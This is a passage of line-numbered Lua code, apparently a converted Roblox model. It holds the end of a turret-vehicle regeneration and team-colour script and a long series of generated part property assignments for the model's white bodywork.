  728. local TurretRegenScript = MyTurrets[i]:findFirstChild("RegenScript")
  729. if(TurretRegenScript ~= nil) then
  730. TurretRegenScript.Disabled = true
  731. end
  732. end
  733. end
  734. function Regen(part)
  735. if(MyTurrets ~= nil) then
  736. for i=1,#MyTurrets do
  737. if(MyTurrets[i]:findFirstChild("Brain") ~= nil) then
  738. local Check = MyTurrets[i].Brain.Destroyed.Value
  739. if(Check == true) then
  740. TDes=TDes+1
  741. break
  742. end
  743. else
  744. TDes=TDes+1
  745. break
  746. end
  747. end
  748. end
  749. if(NumTurrets == TDes or script.Parent:findFirstChild("Engine") == nil) then
  750. if(active == false) then
  751. active = true
  752. script.Parent:breakJoints()
  753. if(script.Parent:findFirstChild("Brain") ~= nil) then
  754. script.Parent.Brain.Destroyed.Value = true
  755. end
  756. wait(1)
  757. model:remove()
  758. model = backup:Clone()
  759. wait(10)
  760. model.Parent = game.Workspace
  761. model:MakeJoints()
  762. end
  763. end
  764. end
  765. function retriveParts(model,myColor)
  766. local raw_model = model:GetChildren()
  767. for i=1,#raw_model do
  768. local part = raw_model[i]
  769. if(part ~= nil) then
  770. part.BrickColor = myColor
  771. end
  772. end
  773. end
  774.  
  775. function setTeam(Turret)
  776. local brain = Turret.Brain
  777. local isTeamGame = script.Parent.Parent.TeamGame.Value
  778. if(isTeamGame == true) then
  779. retriveParts(Turret.BodyKit.TeamColorBricks,script.Parent.Parent.TeamColor.Value)
  780. if(brain:findFirstChild("Point") ~= nil) then
  781. brain.Point.BrickColor = script.Parent.Parent.TeamColor.Value
  782. end
  783. if(brain:findFirstChild("TurretEngine") ~= nil) then
  784. brain.TurretEngine.BrickColor = script.Parent.Parent.TeamColor.Value
  785. end
  786. if(script.Parent:findFirstChild("Head") ~= nil) then
  787. script.Parent.Head.BrickColor = script.Parent.Parent.TeamColor.Value
  788. end
  789. else
  790. retriveParts(Turret.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
  791. if(brain:findFirstChild("Point") ~= nil) then
  792. brain.Point.BrickColor = BrickColor.new("Dark stone grey")
  793. end
  794. if(brain:findFirstChild("TurretEngine") ~= nil) then
  795. brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
  796. end
  797. if(script.Parent:findFirstChild("Head") ~= nil) then
  798. script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
  799. end
  800. end
  801. end
  802. function color()
  803. if(MyTurrets ~= nil) then
  804. for i=1,#MyTurrets do
  805. setTeam(MyTurrets[i])
  806. end
  807. end
  808. end
  809. color()
  810. script.Parent.Parent.TeamColor.Changed:connect(color)
  811. script.Parent.Parent.TeamGame.Changed:connect(color)
  812.  
  813. script.Parent.ChildRemoved:connect(Regen)
  814. end))
  815. Model20.Name = "BodyWork"
  816. Model20.Parent = Model0
  817. Model21.Name = "TeamColors"
  818. Model21.Parent = Model20
  819. Part22.Name = "Smooth Block Model"
  820. Part22.Parent = Model21
  821. Part22.BrickColor = BrickColor.new("White")
  822. Part22.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  823. Part22.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  824. Part22.Velocity = Vector3.new(-0.367865503, -0.265364259, 14.2862606)
  825. Part22.Size = Vector3.new(6, 1.20000005, 1)
  826. Part22.CFrame = CFrame.new(-49.5902138, 8.34037495, 125.99807, -0.00775468862, -6.74084877e-05, 0.999963939, 0.00475055212, 0.999988735, 0.000104216793, -0.999950647, 0.00475121522, -0.00775363203)
  827. Part22.TopSurface = Enum.SurfaceType.Smooth
  828. Part22.Color = Color3.new(0.94902, 0.952941, 0.952941)
  829. Part22.Position = Vector3.new(-49.5902138, 8.34037495, 125.99807)
  830. Part22.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  831. Part22.Color = Color3.new(0.94902, 0.952941, 0.952941)
  832. SpecialMesh23.Parent = Part22
  833. SpecialMesh23.MeshType = Enum.MeshType.Wedge
  834. Part24.Name = "Smooth Block Model"
  835. Part24.Parent = Model21
  836. Part24.BrickColor = BrickColor.new("White")
  837. Part24.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  838. Part24.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  839. Part24.Velocity = Vector3.new(-0.7984761, -1.38712049, 14.5493574)
  840. Part24.Size = Vector3.new(1, 2.4000001, 1)
  841. Part24.CFrame = CFrame.new(-39.6406097, 2.97235489, 119.39518, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  842. Part24.Color = Color3.new(0.94902, 0.952941, 0.952941)
  843. Part24.Position = Vector3.new(-39.6406097, 2.97235489, 119.39518)
  844. Part24.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  845. Part24.Color = Color3.new(0.94902, 0.952941, 0.952941)
  846. Part25.Name = "Smooth Block Model"
  847. Part25.Parent = Model21
  848. Part25.BrickColor = BrickColor.new("White")
  849. Part25.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  850. Part25.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  851. Part25.Velocity = Vector3.new(-0.299503148, -0.021796599, 14.3676777)
  852. Part25.Size = Vector3.new(8, 2.4000001, 13)
  853. Part25.CFrame = CFrame.new(-46.0708313, 6.52888298, 128.46225, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  854. Part25.Color = Color3.new(0.94902, 0.952941, 0.952941)
  855. Part25.Position = Vector3.new(-46.0708313, 6.52888298, 128.46225)
  856. Part25.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  857. Part25.Color = Color3.new(0.94902, 0.952941, 0.952941)
  858. Part26.Name = "Smooth Block Model"
  859. Part26.Parent = Model21
  860. Part26.BrickColor = BrickColor.new("White")
  861. Part26.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  862. Part26.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  863. Part26.Velocity = Vector3.new(-0.478259712, -0.29052186, 14.8473902)
  864. Part26.CanCollide = false
  865. Part26.Size = Vector3.new(8, 2.4000001, 3)
  866. Part26.CFrame = CFrame.new(-46.0861168, 2.93842912, 126.445259, -0.999960184, -6.74177281e-05, -0.00775485486, -0.000104206258, 0.999988735, 0.00475054141, 0.00775339734, 0.00475120265, -0.999945641)
  867. Part26.BackSurface = Enum.SurfaceType.Weld
  868. Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
  869. Part26.Position = Vector3.new(-46.0861168, 2.93842912, 126.445259)
  870. Part26.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  871. Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
  872. Part27.Name = "Smooth Block Model"
  873. Part27.Parent = Model21
  874. Part27.BrickColor = BrickColor.new("White")
  875. Part27.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  876. Part27.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  877. Part27.Velocity = Vector3.new(0.0785052627, 1.04434216, 14.2898769)
  878. Part27.Size = Vector3.new(8, 1.20000005, 3)
  879. Part27.CFrame = CFrame.new(-46.008831, 7.09087038, 136.464691, -0.99996376, -6.74089242e-05, -0.00775469653, -0.000104216291, 0.999988735, 0.00475055166, 0.00775362086, 0.00475121476, -0.999950409)
  880. Part27.TopSurface = Enum.SurfaceType.Smooth
  881. Part27.Color = Color3.new(0.94902, 0.952941, 0.952941)
  882. Part27.Position = Vector3.new(-46.008831, 7.09087038, 136.464691)
  883. Part27.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  884. Part27.Color = Color3.new(0.94902, 0.952941, 0.952941)
  885. SpecialMesh28.Parent = Part27
  886. SpecialMesh28.MeshType = Enum.MeshType.Wedge
  887. Part29.Name = "Smooth Block Model"
  888. Part29.Parent = Model21
  889. Part29.BrickColor = BrickColor.new("White")
  890. Part29.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  891. Part29.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  892. Part29.Velocity = Vector3.new(0.184230506, 1.35490179, 14.2913895)
  893. Part29.Size = Vector3.new(1, 1.20000005, 3)
  894. Part29.CFrame = CFrame.new(-42.4856148, 5.8769908, 139.431702, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
  895. Part29.TopSurface = Enum.SurfaceType.Smooth
  896. Part29.Color = Color3.new(0.94902, 0.952941, 0.952941)
  897. Part29.Position = Vector3.new(-42.4856148, 5.8769908, 139.431702)
  898. Part29.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  899. Part29.Color = Color3.new(0.94902, 0.952941, 0.952941)
  900. SpecialMesh30.Parent = Part29
  901. SpecialMesh30.MeshType = Enum.MeshType.Wedge
  902. Part31.Name = "Smooth Block Model"
  903. Part31.Parent = Model21
  904. Part31.BrickColor = BrickColor.new("White")
  905. Part31.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  906. Part31.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  907. Part31.Velocity = Vector3.new(-0.364712536, 0.0425226092, 14.8480921)
  908. Part31.Size = Vector3.new(2, 2.4000001, 14)
  909. Part31.CFrame = CFrame.new(-46.0667114, 2.92655301, 128.945099, -0.00775472028, -6.74102412e-05, 0.999963224, 0.00475054979, 0.999988735, 0.000104214785, -0.999949694, 0.00475121289, -0.00775358733)
  910. Part31.LeftSurface = Enum.SurfaceType.Weld
  911. Part31.Color = Color3.new(0.94902, 0.952941, 0.952941)
  912. Part31.Position = Vector3.new(-46.0667114, 2.92655301, 128.945099)
  913. Part31.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  914. Part31.Color = Color3.new(0.94902, 0.952941, 0.952941)
  915. Part32.Name = "Smooth Block Model"
  916. Part32.Parent = Model21
  917. Part32.BrickColor = BrickColor.new("White")
  918. Part32.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  919. Part32.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  920. Part32.Velocity = Vector3.new(-0.370319426, -0.442038894, 13.9674177)
  921. Part32.Size = Vector3.new(6, 1.20000005, 1)
  922. Part32.CFrame = CFrame.new(-42.5904694, 8.3411026, 125.943794, 0.00775468862, -6.74084877e-05, -0.999963939, -0.00475055212, 0.999988735, -0.000104216793, 0.999950647, 0.00475121522, 0.00775363203)
  923. Part32.TopSurface = Enum.SurfaceType.Smooth
  924. Part32.Color = Color3.new(0.94902, 0.952941, 0.952941)
  925. Part32.Position = Vector3.new(-42.5904694, 8.3411026, 125.943794)
  926. Part32.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  927. Part32.Color = Color3.new(0.94902, 0.952941, 0.952941)
  928. SpecialMesh33.Parent = Part32
  929. SpecialMesh33.MeshType = Enum.MeshType.Wedge
  930. Part34.Name = "Smooth Block Model"
  931. Part34.Parent = Model21
  932. Part34.BrickColor = BrickColor.new("White")
  933. Part34.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  934. Part34.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  935. Part34.Velocity = Vector3.new(-0.553568482, -0.493480206, 14.8806553)
  936. Part34.CanCollide = false
  937. Part34.Size = Vector3.new(3, 1.20000005, 1)
  938. Part34.CFrame = CFrame.new(-48.6015511, 3.54765773, 124.467613, -0.999959648, -6.73953255e-05, -0.00775434123, -0.000104178216, 0.999988735, 0.00475050695, 0.00775282644, 0.00475116819, -0.999944925)
  939. Part34.BackSurface = Enum.SurfaceType.Weld
  940. Part34.Color = Color3.new(0.94902, 0.952941, 0.952941)
  941. Part34.Position = Vector3.new(-48.6015511, 3.54765773, 124.467613)
  942. Part34.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  943. Part34.Color = Color3.new(0.94902, 0.952941, 0.952941)
  944. Part35.Name = "Smooth Block Model"
  945. Part35.Parent = Model21
  946. Part35.BrickColor = BrickColor.new("White")
  947. Part35.Rotation = Vector3.new(0.769999981, -89.5199966, 0.5)
  948. Part35.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  949. Part35.Velocity = Vector3.new(-0.275333643, 0.176887929, 14.6082363)
  950. Part35.Size = Vector3.new(22, 1.20000005, 14)
  951. Part35.CFrame = CFrame.new(-46.0590744, 4.72177124, 129.953613, 0.00775467278, -6.74076146e-05, -0.999964297, -0.00475055305, 0.999988735, -0.000104217797, 0.999951124, 0.00475121615, 0.00775365438)
  952. Part35.Color = Color3.new(0.94902, 0.952941, 0.952941)
  953. Part35.Position = Vector3.new(-46.0590744, 4.72177124, 129.953613)
  954. Part35.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  955. Part35.Color = Color3.new(0.94902, 0.952941, 0.952941)
  956. Part36.Name = "Smooth Block Model"
  957. Part36.Parent = Model21
  958. Part36.BrickColor = BrickColor.new("White")
  959. Part36.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
  960. Part36.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  961. Part36.Velocity = Vector3.new(-0.297574908, 0.117019653, 14.6181965)
  962. Part36.Size = Vector3.new(13, 2.4000001, 3)
  963. Part36.CFrame = CFrame.new(-51.5706329, 6.52831173, 128.504898, -0.0077546807, -6.74080511e-05, 0.999964118, 0.00475055259, 0.999988735, 0.000104217295, -0.999950886, 0.00475121569, -0.00775364321)
  964. Part36.TopSurface = Enum.SurfaceType.Smooth
  965. Part36.Color = Color3.new(0.94902, 0.952941, 0.952941)
  966. Part36.Position = Vector3.new(-51.5706329, 6.52831173, 128.504898)
  967. Part36.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  968. Part36.Color = Color3.new(0.94902, 0.952941, 0.952941)
  969. SpecialMesh37.Parent = Part36
  970. SpecialMesh37.MeshType = Enum.MeshType.Wedge
  971. Part38.Name = "Smooth Block Model"
  972. Part38.Parent = Model21
  973. Part38.BrickColor = BrickColor.new("White")
  974. Part38.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  975. Part38.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  976. Part38.Velocity = Vector3.new(-0.160322845, 0.642017663, 14.8493538)
  977. Part38.CanCollide = false
  978. Part38.Size = Vector3.new(8, 2.4000001, 3)
  979. Part38.CFrame = CFrame.new(-46.0318222, 2.90518284, 133.444916, 0.999958217, -6.74226176e-05, 0.00775494147, 0.000104200764, 0.999988735, -0.00475053536, -0.00775327487, 0.0047511952, 0.999943018)
  980. Part38.Color = Color3.new(0.94902, 0.952941, 0.952941)
  981. Part38.Position = Vector3.new(-46.0318222, 2.90518284, 133.444916)
  982. Part38.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  983. Part38.Color = Color3.new(0.94902, 0.952941, 0.952941)
  984. Part39.Name = "Smooth Block Model"
  985. Part39.Parent = Model21
  986. Part39.BrickColor = BrickColor.new("White")
  987. Part39.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  988. Part39.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  989. Part39.Velocity = Vector3.new(0.186685145, 1.5315783, 14.6102324)
  990. Part39.Size = Vector3.new(1, 1.20000005, 3)
  991. Part39.CFrame = CFrame.new(-49.4853592, 5.87626505, 139.485992, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
  992. Part39.TopSurface = Enum.SurfaceType.Smooth
  993. Part39.Color = Color3.new(0.94902, 0.952941, 0.952941)
  994. Part39.Position = Vector3.new(-49.4853592, 5.87626505, 139.485992)
  995. Part39.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  996. Part39.Color = Color3.new(0.94902, 0.952941, 0.952941)
  997. SpecialMesh40.Parent = Part39
  998. SpecialMesh40.MeshType = Enum.MeshType.Wedge
  999. Part41.Name = "Smooth Block Model"
  1000. Part41.Parent = Model21
  1001. Part41.BrickColor = BrickColor.new("White")
  1002. Part41.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1003. Part41.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1004. Part41.Velocity = Vector3.new(-0.662859797, -1.08755779, 14.3654318)
  1005. Part41.Size = Vector3.new(8, 2.4000001, 3)
  1006. Part41.CFrame = CFrame.new(-46.1328697, 6.56688595, 120.462631, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
  1007. Part41.TopSurface = Enum.SurfaceType.Smooth
  1008. Part41.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1009. Part41.Position = Vector3.new(-46.1328697, 6.56688595, 120.462631)
  1010. Part41.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1011. Part41.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1012. SpecialMesh42.Parent = Part41
  1013. SpecialMesh42.MeshType = Enum.MeshType.Wedge
  1014. Part43.Name = "Smooth Block Model"
  1015. Part43.Parent = Model21
  1016. Part43.BrickColor = BrickColor.new("White")
  1017. Part43.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1018. Part43.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1019. Part43.Velocity = Vector3.new(0.185457885, 1.44324017, 14.4508104)
  1020. Part43.Size = Vector3.new(4, 1.20000005, 3)
  1021. Part43.CFrame = CFrame.new(-45.9854851, 5.87662983, 139.458847, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886)
  1022. Part43.TopSurface = Enum.SurfaceType.Smooth
  1023. Part43.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1024. Part43.Position = Vector3.new(-45.9854851, 5.87662983, 139.458847)
  1025. Part43.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1026. Part43.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1027. SpecialMesh44.Parent = Part43
  1028. SpecialMesh44.MeshType = Enum.MeshType.Wedge
  1029. Part45.Name = "Smooth Block Model"
  1030. Part45.Parent = Model21
  1031. Part45.BrickColor = BrickColor.new("White")
  1032. Part45.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1033. Part45.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1034. Part45.Velocity = Vector3.new(0.155333877, 1.41049933, 14.5552521)
  1035. Part45.Size = Vector3.new(1, 2.4000001, 1)
  1036. Part45.CFrame = CFrame.new(-39.4777756, 2.87259507, 140.39415, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  1037. Part45.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1038. Part45.Position = Vector3.new(-39.4777756, 2.87259507, 140.39415)
  1039. Part45.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1040. Part45.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1041. Part46.Name = "Smooth Block Model"
  1042. Part46.Parent = Model21
  1043. Part46.BrickColor = BrickColor.new("White")
  1044. Part46.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1045. Part46.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1046. Part46.Velocity = Vector3.new(0.172265053, 1.57493377, 14.7712736)
  1047. Part46.Size = Vector3.new(1, 1.20000005, 8)
  1048. Part46.CFrame = CFrame.new(-45.9775696, 3.4719131, 140.447388, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  1049. Part46.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1050. Part46.Position = Vector3.new(-45.9775696, 3.4719131, 140.447388)
  1051. Part46.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1052. Part46.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1053. Part47.Name = "Smooth Block Model"
  1054. Part47.Parent = Model21
  1055. Part47.BrickColor = BrickColor.new("White")
  1056. Part47.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1057. Part47.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1058. Part47.Velocity = Vector3.new(-0.301431358, -0.160612941, 14.1171579)
  1059. Part47.Size = Vector3.new(13, 2.4000001, 3)
  1060. Part47.CFrame = CFrame.new(-40.5710258, 6.52945471, 128.419601, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  1061. Part47.TopSurface = Enum.SurfaceType.Smooth
  1062. Part47.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1063. Part47.Position = Vector3.new(-40.5710258, 6.52945471, 128.419601)
  1064. Part47.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1065. Part47.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1066. SpecialMesh48.Parent = Part47
  1067. SpecialMesh48.MeshType = Enum.MeshType.Wedge
  1068. Part49.Name = "Smooth Block Model"
  1069. Part49.Parent = Model21
  1070. Part49.BrickColor = BrickColor.new("White")
  1071. Part49.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1072. Part49.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1073. Part49.Velocity = Vector3.new(-0.0539558008, 0.971932828, 14.8837423)
  1074. Part49.CanCollide = false
  1075. Part49.Size = Vector3.new(3, 1.20000005, 1)
  1076. Part49.CFrame = CFrame.new(-48.5162392, 3.4954052, 135.467026, 0.999961436, -6.74146722e-05, 0.00775479898, 0.000104209779, 0.999988735, -0.00475054514, -0.00775347557, 0.00475120638, 0.999947309)
  1077. Part49.BackSurface = Enum.SurfaceType.Weld
  1078. Part49.BottomSurface = Enum.SurfaceType.Smooth
  1079. Part49.FrontSurface = Enum.SurfaceType.Weld
  1080. Part49.RightSurface = Enum.SurfaceType.Weld
  1081. Part49.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1082. Part49.Position = Vector3.new(-48.5162392, 3.4954052, 135.467026)
  1083. Part49.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1084. Part49.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1085. Part50.Name = "Smooth Block Model"
  1086. Part50.Parent = Model21
  1087. Part50.BrickColor = BrickColor.new("White")
  1088. Part50.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1089. Part50.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1090. Part50.Velocity = Vector3.new(-0.0557077006, 0.845738649, 14.6559963)
  1091. Part50.CanCollide = false
  1092. Part50.Size = Vector3.new(3, 1.20000005, 1)
  1093. Part50.CFrame = CFrame.new(-43.5164413, 3.49594164, 135.428268, 0.99995929, -6.74199691e-05, 0.00775489397, 0.000104203769, 0.999988735, -0.00475053862, -0.00775334192, 0.00475119893, 0.999944448)
  1094. Part50.BackSurface = Enum.SurfaceType.Weld
  1095. Part50.BottomSurface = Enum.SurfaceType.Smooth
  1096. Part50.FrontSurface = Enum.SurfaceType.Weld
  1097. Part50.LeftSurface = Enum.SurfaceType.Weld
  1098. Part50.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1099. Part50.Position = Vector3.new(-43.5164413, 3.49594164, 135.428268)
  1100. Part50.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1101. Part50.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1102. Part51.Name = "Smooth Block Model"
  1103. Part51.Parent = Model21
  1104. Part51.BrickColor = BrickColor.new("White")
  1105. Part51.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1106. Part51.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1107. Part51.Velocity = Vector3.new(0.112192824, 1.44133377, 14.8510389)
  1108. Part51.Size = Vector3.new(1, 2.4000001, 14)
  1109. Part51.CFrame = CFrame.new(-45.9852829, 2.87666798, 139.444595, 0.00775470445, -6.74093753e-05, -0.999963582, -0.00475055119, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968)
  1110. Part51.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1111. Part51.Position = Vector3.new(-45.9852829, 2.87666798, 139.444595)
  1112. Part51.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1113. Part51.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1114. Part52.Name = "Smooth Block Model"
  1115. Part52.Parent = Model21
  1116. Part52.BrickColor = BrickColor.new("White")
  1117. Part52.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
  1118. Part52.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1119. Part52.Velocity = Vector3.new(-0.164705127, 0.245787159, 14.1281023)
  1120. Part52.Size = Vector3.new(6, 1.20000005, 3)
  1121. Part52.CFrame = CFrame.new(-46.0554428, 8.31935596, 130.470703, -0.999963939, -6.74084877e-05, -0.00775468862, -0.000104216793, 0.999988735, 0.00475055212, 0.00775363203, 0.00475121522, -0.999950647)
  1122. Part52.TopSurface = Enum.SurfaceType.Smooth
  1123. Part52.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1124. Part52.Position = Vector3.new(-46.0554428, 8.31935596, 130.470703)
  1125. Part52.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
  1126. Part52.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1127. SpecialMesh53.Parent = Part52
  1128. SpecialMesh53.MeshType = Enum.MeshType.Wedge
  1129. Part54.Name = "Smooth Block Model"
  1130. Part54.Parent = Model21
  1131. Part54.BrickColor = BrickColor.new("White")
  1132. Part54.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  1133. Part54.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1134. Part54.Velocity = Vector3.new(-0.369093299, -0.353703618, 14.1268396)
  1135. Part54.Size = Vector3.new(6, 1.20000005, 6)
  1136. Part54.CFrame = CFrame.new(-46.0903397, 8.34073353, 125.970917, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647)
  1137. Part54.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1138. Part54.Position = Vector3.new(-46.0903397, 8.34073353, 125.970917)
  1139. Part54.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  1140. Part54.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1141. Part55.Name = "Smooth Block Model"
  1142. Part55.Parent = Model21
  1143. Part55.BrickColor = BrickColor.new("White")
  1144. Part55.Rotation = Vector3.new(0.769999981, -89.4799957, 0.5)
  1145. Part55.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1146. Part55.Velocity = Vector3.new(-0.0548307784, 0.908837438, 14.7698669)
  1147. Part55.Size = Vector3.new(1, 1.20000005, 2)
  1148. Part55.CFrame = CFrame.new(-46.0163269, 3.49568486, 135.447662, 0.00775436684, -6.73966642e-05, -0.99995929, -0.00475050509, 0.999988735, -0.0001041777, 0.999944448, 0.0047511654, 0.0077528148)
  1149. Part55.BottomSurface = Enum.SurfaceType.Hinge
  1150. Part55.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1151. Part55.Position = Vector3.new(-46.0163269, 3.49568486, 135.447662)
  1152. Part55.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1153. Part55.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1154. Part56.Name = "Smooth Block Model"
  1155. Part56.Parent = Model21
  1156. Part56.BrickColor = BrickColor.new("White")
  1157. Part56.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1158. Part56.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1159. Part56.Velocity = Vector3.new(0.159890562, 1.73860741, 15.1473885)
  1160. Part56.Size = Vector3.new(1, 2.4000001, 1)
  1161. Part56.CFrame = CFrame.new(-52.4772987, 2.87124395, 140.494934, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  1162. Part56.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1163. Part56.Position = Vector3.new(-52.4772987, 2.87124395, 140.494934)
  1164. Part56.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
  1165. Part56.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1166. Part57.Name = "Smooth Block Model"
  1167. Part57.Parent = Model21
  1168. Part57.BrickColor = BrickColor.new("White")
  1169. Part57.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
  1170. Part57.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  1171. Part57.Velocity = Vector3.new(-0.781544685, -1.22268438, 14.7653809)
  1172. Part57.Size = Vector3.new(1, 1.20000005, 8)
  1173. Part57.CFrame = CFrame.new(-46.1404266, 3.57167077, 119.448425, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
  1174. Part57.Color = Color3.new(0.94902, 0.952941, 0.952941)
  1175. Part57.Position = Vector3.new(-46.1404266, 3.57167077, 119.448425)
